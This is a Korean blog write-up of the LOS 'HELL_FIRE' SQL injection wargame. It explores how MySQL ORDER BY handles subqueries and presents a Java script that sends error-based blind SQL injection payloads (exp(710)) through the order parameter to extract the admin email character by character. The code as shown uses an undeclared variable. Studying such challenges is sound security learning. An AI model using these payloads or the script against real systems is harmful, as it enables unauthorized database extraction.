본문 바로가기
[웹해킹]/[LOS]

[LOS] HELL_FIRE

by Hevton 2021. 2. 1.
반응형

우선, 논리적 정석적인 구성으로 깔끔하게 풀 수 있는 문제는 아닌 것 같다.

 

야매가 살짝 첨가되어야 가능하다고 생각한다.

 

우선 로컬환경에서 간단한 테스트 결과 목록은 이렇다.

mysql> select * from book;
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
|  8 | hi          | hi            |        7 |
|  9 | hi          | hi            |        9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)

mysql> select * from book order by 1;
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
|  8 | hi          | hi            |        7 |
|  9 | hi          | hi            |        9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)

order by 속성에 대해 간단하게 말하자면, 나열 순서이다.

1 2 3 이런 상수값을 입력하게되면, 테이블의 컬럼과 차례로 매칭된다.

1 = id , 2 = title, 3 = description


서브 쿼리 형식을 하게 되면

mysql> select * from book order by (select 1);
+----+-------------+---------------+----------+
| id | title       | description   | maker_id |
+----+-------------+---------------+----------+
|  1 | About Music | Music is Life |        1 |
|  2 | About Life  | Life is alone |        1 |
|  3 | Math Book   | Math.PI...    |        2 |
|  4 | Novel Book  | I am handsome |        3 |
|  5 | About Time  | TimeTravel    |        1 |
|  6 | I'm hevton  | by hevton     |        4 |
|  7 | hi          | hi            |        5 |
|  8 | hi          | hi            |        7 |
|  9 | hi          | hi            |        9 |
+----+-------------+---------------+----------+
9 rows in set (0.00 sec)

언뜻 결과는 같아보이지만, order by 1과 order by (select 1)의 결과는 엄연히 달랐다.


또한, 더욱 헷갈리는 현실은, 이것이다.

mysql> select * from book order by (select 1 from book);
ERROR 1242 (21000): Subquery returns more than 1 row

서브쿼리에서는 기본적으로 테이블명을 생략하게되면 자신의 테이블에서 찾게 된다. 그렇게 생각하면 위 코드와 다를게 없는데 둘의 결과는 다르다. 위의 전자의 경우에는 그냥 1인것이고, 후자의 경우에는 이런 결과를 갖는다고 보면된다. 이건 이전에도 살펴봤던 내용이라 이해가 되긴 했다.

mysql> select 1 from book;
+---+
| 1 |
+---+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+---+
9 rows in set (0.00 sec)

하지만 (select 1)이 order by 구문에서 그냥 1의 값 자체를 갖게 되는 것은 또 아니였다..

왜냐면 (select 1)이건 2건 3이건 항상 결과는 동일했고, order by 9는 작동하지않지만 order by (select 9)는 또 (select 1)과 동일하게 작동했다. 아마 order by 구문을 끼게 되면 다소 헷갈린 상황이 연출되는 것 같다.

 

여튼 이런 헷갈림을 뒤로한채.. 문제를 풀어야 한다.

 

문제를 풀기 전, 알아두면 좋을 의도적 '오류 발생 구문'에 대해서 링크를 넣을테니 참고하면 좋겠다.

p00y.tistory.com/entry/Error-Based-Blind-SQL-Injection-exp-%ED%95%A8%EC%88%98-%ED%99%9C%EC%9A%A9-1

SELECT exp(710) 

 


우선 문제에서 확실한 참/거짓 경우에 대한 구분을 지어야 했다.

위에서 알아본 '오류 발생 구문' 을 토대로 식을 작성해본다.

 

거짓

일단 알고 있는 걸 활용해보면, 이렇게 두 경우를 구분해볼 수 있고 이것이 참/거짓의 경우라는 것을 생각해볼 수 있다.

 

 

이를 기반으로 admin의 비밀번호 길이를 알아내볼 수 있을 것이다.

서브쿼리 (select length(email) where id = 'admin')을 통해서 id가 admin인 데이터의 length(email)을 리턴했고(결과 1개)

그 값이 28과 같은지를 판단한 결과 참이므로, exp(710)이 실행되어서 의도적으로 오류가 발생하게 된다.

 

 

이제 비밀번호 각 자리수도 알아볼 수 있다.

이런식으로 한 자리씩 꺼내서 비교해보면 된다.

 

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;

public class break_even_point {

    public static void main(String args[]) {
            for(int i = 1; i < 29 ; i++) { // id는 28자리
                for(int j = 40 ; j < 127 ; j++)
                {
                    try {
                        StringBuilder sb = new StringBuilder();
                        String str = "?order=(select%20exp(710)%20where%20"+j+"%20=%20(select%20ord(substr(email,"+i+",1))%20where%20id%20=%20%27admin%27))";
                        URL url = new URL("https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"+str);
                        HttpURLConnection hc = (HttpURLConnection) url.openConnection();
                        hc.setRequestProperty("Cookie", "PHPSESSID=x");
                        System.out.println("i = "+i+" j = "+j);

                        BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
                        String s;
                        while ((s = br.readLine()) != null)
                            sb.append(s);

                        if (sb.indexOf("rubiya") == -1) {
                            d += String.format("%c", j);
                            System.out.println("GET :"+d);
                            break;
                        }
                    } catch (Exception e) {
                        System.out.println(e.getMessage());
                        return;
                    }
                }
            }
    }
}
GET :admin_secure_email@emai1.com

 

 

도움을 주신 참고 블로그

rootable.tistory.com/entry/LOS-hellfire-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] EVIL_WIZARD  (0) 2021.02.05
[LOS] DARK_EYES  (0) 2020.12.30
[LOS] IRON_GOLEM  (0) 2020.12.29
[LOS] DRAGON  (0) 2020.12.28
[LOS] XAVIS  (0) 2020.12.27